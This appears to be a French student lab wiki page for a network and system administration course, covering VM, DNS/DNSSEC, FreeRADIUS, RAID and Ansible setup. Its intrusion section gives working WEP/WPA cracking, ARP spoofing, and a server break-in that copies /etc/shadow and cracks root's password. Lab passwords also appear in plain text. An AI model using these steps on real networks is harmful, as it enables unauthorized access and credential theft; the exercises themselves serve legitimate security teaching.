belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=<br />
<br />
(on copie que la partie chiffrée, pas le record DNSKEY)<br />
<br />
10. Enfin, nous pouvons tester la configuration:<br />
<br />
root@Bellerose:~# host -t any belle-rose.site<br />
belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=<br />
belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F<br />
belle-rose.site name server ns6.gandi.net.<br />
belle-rose.site name server ns1.belle-rose.site.<br />
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=<br />
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==<br />
belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=<br />
belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut<br />
belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=<br />
belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY<br />
belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=<br />
belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=<br />
belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800<br />
<br />
= Tests d'intrusion =<br />
<br />
== Exploitation de failles du système ==<br />
<br />
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. > https://github.com/mzet-/linux-exploit-suggester<br />
<br />
En suivant la documentation :<br />
<br />
$ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh<br />
$ chmod +x les.sh && ./les.sh<br />
<br />
On obtient les failles suivantes (audit réalisé sur notre VM) :<br />
<br />
[+] [CVE-2021-27365] linux-iscsi<br />
...<br />
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write<br />
...<br />
[+] [CVE-2019-13272] PTRACE_TRACEME<br />
...<br />
<br />
== Cassage de clef WEP d’un point d’accès WiFi ==<br />
<br />
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :<br />
<br />
$ airmon-ng<br />
<br />
On trouve l'interface suivante :<br />
<br />
wlx40a5ef0127d0<br />
<br />
On essaie de démarrer l'interface sur le channel 3 :<br />
<br />
$ airmon-ng start wlx40a5ef0127d0 3<br />
<br />
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement "wlan0mon". On ré-utilise la commande précédente avec le nouveau nom d'interface :<br />
<br />
$ airmon-ng start wlan0mon 3<br />
<br />
On écoute ensuite tous les paquets dans l'air :<br />
<br />
$ airodump-ng wlan0mon<br />
<br />
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.<br />
<br />
$ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon<br />
<br />
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :<br />
<br />
$ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon<br />
<br />
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :<br />
<br />
$ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon<br />
<br />
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.<br />
<br />
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :<br />
<br />
$ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap<br />
<br />
On obtient alors :<br />
<br />
KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]<br />
Decrypted correctly: 100%<br />
<br />
== Cassage de mot de passe WPA-PSK par force brute ==<br />
<br />
$ airmon-ng<br />
$ airmon-ng start wlan0mon 9<br />
$ airodump-ng wlan0mon<br />
<br />
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :<br />
<br />
$ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon<br />
<br />
On crée le dictionnaire contenant toutes les clefs à tester avec la commande <code>crunch</code><br />
<br />
$ crunch 8 8 0123456789 -o dictionnaire.lst<br />
<br />
Pour savoir si un Handshake a été trouvé, on utilise la commande :<br />
<br />
$ aircrack-ng psk*.cap<br />
<br />
On trouve : <br />
<br />
# BSSID ESSID Encryption<br />
1 44:AD:D9:5F:87:05 kracotte06 WPA (1 handshake)<br />
<br />
On peut alors lancer la commande de test des clefs :<br />
<br />
$ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap<br />
<br />
Après un peu d'attente, on obtient la clef suivante :<br />
<br />
KEY FOUND! [ 59906999 ]<br />
<br />
== Attaque de type "homme au milieu" par usurpation ARP ==<br />
<br />
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.<br />
<br />
On fait :<br />
<br />
$ echo 1 > /proc/sys/net/ipv4/ip_forward<br />
<br />
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):<br />
<br />
$ arpspoof -t 172.26.145.61 172.26.145.254<br />
<br />
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.<br />
<br />
== Intrusion sur un serveur d’application Web ==<br />
<br />
Sur honey.plil.info : <br />
<br />
1. injection SQL<br />
<br />
2. connexion en tant qu'admin<br />
<br />
3. telechargement du fichier "config-db.php" (On remarque que il existe une BDD phpmyadmin) et "database.php" (ce fichier semble lui ne pas nous apporter d'informations)<br />
<br />
4. honey.plil.info/phpmyadmin -> connexion avec les logins trouvés dans le fichier "config-db.php" (phpmyadmin et gencovid19). On trouve alors une table "pma_users" indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).<br />
<br />
5. en essayant le mdp "gencovid19" avec ces identifiants sur phpmyadmin : on peut se connecter en tant que "root" sur la BDD et on trouve le mdp de rex dans la bdd "test" et table "users".<br />
<br />
6. connexion en ssh sur rex@honey.plil.info.<br />
<br />
7. comme indication : "le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets". Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo => bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :<br />
<br />
$ crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico.txt<br />
<br />
Et on double la taille des mots :<br />
<br />
$ sed -i 's/\(.*\)/\1\1/' dico.txt<br />
<br />
On copie ensuite les fichiers "/etc/passwd" et "/etc/shadow" de rex@honey.plil.info sur notre zabeth. <br />
<br />
$ scp rex@honey.plil.info:/etc/passwd .<br />
$ scp rex@honey.plil.info:/etc/shadow .<br />
<br />
On utilise alors l'utilitaire "shadow" pour obtenir un fichier contenant le mot de passe haché de root :<br />
<br />
$ unshadow passwd shadow | head -1 > honey<br />
<br />
Puis on utilise "John the Ripper" pour cracker le mot de passe :<br />
<br />
$ john -w:dico.txt honey<br />
<br />
Après quelques minutes, on peut afficher le mot de passe trouvé :<br />
<br />
$ john --show honey<br />
root:fortfort:0:0:root:/root:/bin/bash<br />
1 password hash cracked, 0 left<br />
<br />
On trouve le mot de passe de root@honey.plil.info qui est "fortfort".<br />
<br />
= Point d'accès Wi-Fi authentifié via FreeRADIUS =<br />
<br />
== Configuration du point d'accès ==<br />
<br />
=== Point d'accès ===<br />
<br />
Tout d'abord il faut configurer l'authentification EAP dans la configuration :<br />
<br />
conf t<br />
<br />
aaa new-model<br />
aaa authentication login eap_rose group radius_rose<br />
radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin<br />
aaa group server radius radius_rose<br />
server 193.48.57.181 auth-port 1812 acct-port 1813<br />
exit<br />
<br />
Configurons le SSID :<br />
<br />
conf t<br />
<br />
dot11 ssid SSID_ROSE<br />
vlan 5<br />
authentication open eap eap_rose<br />
authentication network-eap eap_rose<br />
authentication key-management wpa<br />
mbssid guest-mode<br />
exit<br />
exit<br />
<br />
On associe notre SSID à l'interface WIFI :<br />
<br />
conf t<br />
<br />
interface Dot11Radio0<br />
encryption vlan 5 mode ciphers aes-ccm tkip<br />
ssid SSID_ROSE<br />
mbssid<br />
exit<br />
exit<br />
<br />
On paramètre notre VLAN (5)<br />
<br />
conf t<br />
<br />
interface Dot11Radio0.5<br />
encapsulation dot1Q 5<br />
no ip route-cache<br />
bridge-group 5<br />
bridge-group 5 subscriber-loop-control<br />
bridge-group 5 spanning-disabled<br />
bridge-group 5 block-unknown-source<br />
exit<br />
exit<br />
<br />
On configure l'interface filaire<br />
<br />
conf t<br />
<br />
interface GigabitEthernet0.5<br />
encapsulation dot1Q 5<br />
bridge-group 5<br />
exit<br />
exit<br />
<br />
Enfin, on configure l'IP de l'AP et sa gateway<br />
<br />
conf t<br />
<br />
ip default-gateway 10.1.0.1<br />
interface BVI 1<br />
ip address 10.1.0.3 255.255.255.0<br />
exit<br />
exit<br />
<br />
=== Routeur ===<br />
<br />
Commençons par configurer le VLAN 1 <br />
<br />
conf t<br />
<br />
interface vlan 1<br />
ip address 10.1.0.1 255.255.255.0<br />
exit<br />
exit<br />
<br />
Puis on configure le port (ici Gi1/0/3<br />
<br />
conf t<br />
<br />
interface Gi1/0/3<br />
switchport<br />
switchport mode trunk<br />
switchport trunk allowed vlan add 1<br />
exit<br />
exit<br />
<br />
Et voilà mon grand<br />
<br />
== Serveur FreeRADIUS ==<br />
<br />
Installation de freeRADIUS<br />
<br />
apt install freeradius<br />
<br />
On commence par configurer <code>/etc/freeradius/3.0/clients.conf</code> à détailler<br />
<br />
client zozo {<br />
ipaddr = 10.1.0.3/24<br />
secret = zinzin<br />
}<br />
<br />
ensuite <code>/etc/freeradius/3.0/eap.conf</code><br />
<br />
eap {<br />
[...]<br />
default_eap_type = peap<br />
}<br />
<br />
puis <code>/etc/freeradius/3.0/users</code><br />
<br />
[...]<br />
root Cleartext-Password := "glopglop"<br />
<br />
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug <code>freeradius -X</code> (après avoir au préalable stoppé le processus)<br />
<br />
= Réalisations =<br />
<br />
== Sécurisation des données (RAID 5) ==<br />
<br />
Nous avons besoin de 3 LV à rajouter à notre VM :<br />
<br />
$ lvcreate -L1G -n Bellerose-raid1 storage<br />
$ lvcreate -L1G -n Bellerose-raid2 storage<br />
$ lvcreate -L1G -n Bellerose-raid3 storage<br />
<br />
Nous pouvons ainsi les rajouter à la configuration de notre VM (<code>/etc/xen/Bellerose.cfg</code>):<br />
<br />
'phy:/dev/storage/Bellerose-raid1,xvda5,w'<br />
'phy:/dev/storage/Bellerose-raid2,xvda6,w'<br />
'phy:/dev/storage/Bellerose-raid3,xvda7,w'<br />
<br />
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.<br />
<br />
$ apt install mdadm<br />
<br />
On va ensuite créer un disque nommé <code>/dev/md0</code> grâce à <code>mdadm</code> :<br />
<br />
$ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7<br />
<br />
On peut ainsi vérifier que notre RAID 5 est effectif :<br />
<br />
$ lsblk<br />
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT<br />
xvda1 202:1 0 512M 0 disk [SWAP]<br />
xvda2 202:2 0 4G 0 disk /<br />
xvda3 202:3 0 10G 0 disk /home<br />
xvda4 202:4 0 10G 0 disk /var<br />
xvda5 202:5 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
xvda6 202:6 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
xvda7 202:7 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
<br />
Enfin il faut monter ce disque fraîchement créé :<br />
<br />
$ mkfs.ext4 /dev/md0<br />
$ mkdir /media/raid<br />
<br />
on ajoute cette ligne dans <code>/etc/fstab</code> :<br />
<br />
/dev/md0 /media/raid ext4 defaults 0 1<br />
<br />
puis<br />
<br />
$ mount -a<br />
<br />
et toc<br />
<br />
== Chiffrement des données ==<br />
<br />
On branche la clé USB sur le petit PC bleu, et on lance <code>lsblk</code> et on trouve :<br />
<br />
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT<br />
sda 8:0 1 7,2G 0 disk <br />
<br />
Donc on peut formater la clef qui contient déjà quelque chose dessus :<br />
<br />
$ mkfs.ext4 /dev/sda<br />
<br />
Avec <code>cryptsetup</code> on peut initialiser la clef et lui donner un mdp :<br />
<br />
$ cryptsetup luksFormat /dev/sda<br />
<br />
On crée une partition chiffrée sur la clé :<br />
<br />
$ cryptsetup luksOpen /dev/sda data<br />
<br />
Et on formate :<br />
<br />
$ mkfs.ext4 /dev/mapper/data<br />
<br />
On monte cette partition pour lui permettre de contenir des fichiers :<br />
<br />
$ mkdir /mnt/data-usb<br />
$ mount -t ext4 /dev/mapper/data /mnt/data-usb<br />
<br />
On y ajoute donc un fichier de test :<br />
<br />
$ touch /mnt/data-usb/boujour.txt<br />
<br />
Puis on démonte et on ferme le volume chiffré<br />
<br />
$ umont /mnt/data-usb<br />
$ cryptsetup luksClose data<br />
<br />
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.<br />
<br />
= ASR lab project =<br />
<br />
== Ansible hello world ==<br />
<br />
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :<br />
<br />
<code>roles/ssh_key/tasks/main.yml</code><br />
---<br />
<br />
- name: Create .ssh if it does not exists<br />
file:<br />
path: ~/.ssh<br />
state: directory <br />
<br />
- name: Copy authorized_keys<br />
copy:<br />
src: authorized_keys<br />
dest: ~/.ssh/authorized_keys<br />
<br />
Ce dernier prend le fichier <code>../files/authorized_keys</code> (local) et le place dans <code>~/.ssh</code> (vm) après avoir créé ce répertoire si besoin.<br />
<br />
== Iptables ==<br />
<br />
CEST DES IPTABLES QUI SERVENT A RIEN CAR YA PAS DINTERFACE PUBLIQUE SUR CETTE VM<br />
<br />
== Consul ==<br />
<br />
Le fichier <code>roles/consul/tasks/main.yml</code> contient :<br />
<br />
---<br />
<br />
- name: Create consul group<br />
group:<br />
name: consul<br />
state: present<br />
gid: 666<br />
<br />
- name: Create consul user<br />
user:<br />
name: consul<br />
state: present<br />
uid: 666<br />
group: consul<br />
<br />
- name: Create dirs<br />
file:<br />
state: directory<br />
path: "{ { item } }"<br />
owner: consul<br />
group: consul<br />
loop:<br />
- /etc/consul<br />
- /var/lib/consul<br />
<br />
- name: Add HashiCorp key<br />
apt_key:<br />
url: https://apt.releases.hashicorp.com/gpg<br />
state: present<br />
<br />
- name: Add HashiCorp repo<br />
apt_repository:<br />
repo: "deb https://apt.releases.hashicorp.com { { ansible_distribution_release } } main"<br />
state: present<br />
update_cache: true<br />
<br />
- name: Install Consul<br />
package:<br />
name: consul<br />
state: present<br />
<br />
- name: Put config<br />
copy:<br />
src: "{ { item } }"<br />
dest: "/etc/consul/{ { item } }"<br />
owner: consul<br />
group: consul<br />
loop:<br />
- config.json<br />
- web.json<br />
<br />
- name: Add consul systemd service file<br />
copy:<br />
src: consul.service<br />
dest: /etc/systemd/system/consul.service<br />
register: systemd<br />
<br />
- name: Deamon reload<br />
systemd:<br />
daemon_reload: true<br />
when: systemd.changed<br />
<br />
- name: Start consul service<br />
systemd:<br />
name: consul<br />
state: restarted<br />
enabled: yes<br />
<br />
(Sans les espaces des accolades encore une fois)<br />
Le fichier <code>roles/consul/files/config.json</code> contient :<br />
<br />
{<br />
"datacenter": "polytech",<br />
"data_dir": "/var/lib/consul",<br />
"log_level": "INFO",<br />
"node_name": "jsp",<br />
"server": true,<br />
"bind_addr": "172.26.145.106",<br />
"bootstrap_expect": 2,<br />
"retry_join": ["172.26.145.101"],<br />
"ui": true,<br />
"client_addr": "0.0.0.0"<br />
}<br />
<br />
Et le fichier <code>roles/consul/files/web.json</code> contient : <br />
<br />
{<br />
"service": {<br />
"name": "web-bellerose",<br />
"tags": ["boris","louis","web"],<br />
"port": 80<br />
},<br />
<br />
"check": {<br />
"id": "webport",<br />
"name": "Simple HTTP GET",<br />
"method": "GET",<br />
"http": "http://172.26.145.106",<br />
"interval": "10s",<br />
"timeout": "1s"<br />
}<br />
}<br />
<br />
Oui, rien n'est variabilisé mais le principe est là. Pour voir le résultat: http://172.26.145.106:8500<br />
<br />
Cela nous donne :<br />
<br />
[[Fichier:screen_healthy.png|1000px|thumb|center|Tada]]</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&diff=58027TP sysres IMA5 2021/2022 G62022-01-12T13:02:55Z<p>Lwadbled : /* Consul */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
=Création de la machine virtuelle=<br />
<br />
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :<br />
<br />
$ export http_proxy=http://proxy.plil.fr:3128<br />
<br />
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.<br />
<br />
$ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.<br />
<br />
$ lvcreate -L10G -n Bellerose1 storage<br />
$ lvcreate -L10G -n Bellerose2 storage<br />
<br />
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :<br />
<br />
$ mkfs.ext4 /dev/storage/Bellerose1<br />
$ mkfs.ext4 /dev/storage/Bellerose2<br />
<br />
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.<br />
<br />
$ vim /etc/xen/Bellerose.cfg<br />
disk = [<br />
'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',<br />
'phy:/dev/storage/Bellerose1,xvda3,w',<br />
'phy:/dev/storage/Bellerose2,xvda4,w'<br />
]<br />
vif = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]<br />
<br />
On peut maintenant lancer notre machine virtuelle :<br />
<br />
$ xl create -c /etc/xen/Bellerose.cfg<br />
<br />
Avec la commande :<br />
<br />
$ cat /etc/fstab<br />
<br />
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :<br />
<br />
$ mkdir /mnt/xvda3<br />
$ mkdir /mnt/xvda4<br />
$ mount /dev/xvda3 /mnt/xvda3<br />
$ mount /dev/xvda4 /mnt/xvda4<br />
<br />
Puis on déplace le répertoire var dans le disque xvda4 :<br />
<br />
$ mv /var/* /mnt/xvda4<br />
<br />
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :<br />
<br />
# /home vers xvda3<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
# /var vers xvda4<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
On monte le tout à l'aide de la commande :<br />
<br />
mount -a<br />
<br />
Enfin avec lsblk, on peut voir les deux partitions de notre VM :<br />
<br />
$ lsblk<br />
xvda3 202:3 0 10G 0 disk /home<br />
xvda4 202:4 0 10G 0 disk /var<br />
<br />
Enfin, nous activons l'IPv6 sur l'interface en modifiant <code>/etc/network/interfaces</code><br />
<br />
iface eth0 inet6 auto<br />
<br />
Pour quitter la VM : CTRL+]<br />
<br />
= Services Internet =<br />
<br />
== Serveur SSH ==<br />
<br />
$ apt install openssh-server<br />
<br />
on édite le fichierde conf <code>/etc/ssh/sshd_config</code> (via ssh key) :<br />
<br />
PermitRootLogin without-password // je l'ai repassé en "yes" suite au mail et le mdp root est celui de pifou habituel <br />
PubkeyAuthentication yes<br />
<br />
après on reload la conf<br />
<br />
$ systemctl reload ssh<br />
<br />
On génère une clé ssh depuis notre zabeth avec <code>ssh-keygen -t ed25519</code> et on l'ajoute dans <code>/.ssh/authorized_keys</code> et c'est gooooood<br />
<br />
== Serveur DNS ==<br />
<br />
on achète le ndd<br />
<br />
on crée un "Glue Record" pour notre nameserver <code>ns1.belle-rose.site</code><br />
<br />
on install bind<br />
<br />
$ apt install bind9<br />
<br />
on configure <code>/etc/resolv.conf</code><br />
<br />
nameserver 127.0.0.1<br />
<br />
on configure bind <code>/etc/bind/named.conf.local</code><br />
<br />
zone "belle-rose.site" IN {<br />
type master;<br />
file "/etc/bind/db.belle-rose.site";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
On ajoute nos ns <code>/etc/bind/db.belle-rose.site</code><br />
<br />
;<br />
; BIND dans ta face<br />
;<br />
$TTL 604800<br />
@ IN SOA ns1.belle-rose.site. postmaster.belle-rose.site. (<br />
2 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns1.belle-rose.site.<br />
@ IN NS ns6.gandi.net.<br />
ns1 IN A 193.48.57.181<br />
<br />
Ensuite on peut tester notre conf avec<br />
<br />
$ host -t any ns1.belle-rose.site localhost<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
ns1.belle-rose.site has address 193.48.57.181<br />
<br />
Et on incrémente aussi le Serial dans <code>/etc/bind/db.belle-rose.site</code> à 3.<br />
<br />
== Certificat ==<br />
<br />
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat <code>Let's Encrypt</code>. Après avoir installé <code>certbot</code>, on utilise simplement la commande :<br />
<br />
certbot --apache<br />
<br />
https://www.belle-rose.site/ IZOK<br />
<br />
== DNSSEC ==<br />
<br />
On suit les étapes suivantes :<br />
<br />
1. On ajoute l’option <code>dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code><br />
<br />
2. On crée un répertoire <code>belle-rose.site.dnssec</code> pour y générer les clefs<br />
<br />
3. On crée la clef asymétrique de signature de clefs de zone :<br />
<br />
$ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site<br />
<br />
4. On crée la clef asymétrique de la zone pour signer les enregistrements<br />
<br />
$ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site <br />
<br />
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
$ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key<br />
$ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key<br />
$ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private<br />
$ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private<br />
<br />
6. On inclue les clefs publiques dans votre fichier de zone <code>/etc/bind/db.belle-rose.site</code>, et on incrémente le numéro de version de la zone ;<br />
<br />
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key<br />
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key<br />
<br />
7. On signe les enregistrements de la zone ;<br />
<br />
$ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk<br />
<br />
8. On modifie le fichier <code>named.conf.local</code> pour utiliser la zone signée de suffixe .signed :<br />
<br />
$ vim ../named.conf.local<br />
zone "belle-rose.site" IN {<br />
type master;<br />
file "/etc/bind/db.belle-rose.site.signed";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section "Manage DNSSEC" puis "DNS servers")<br />
<br />
root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key <br />
; This is a key-signing key, keyid 22094, for belle-rose.site.<br />
; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
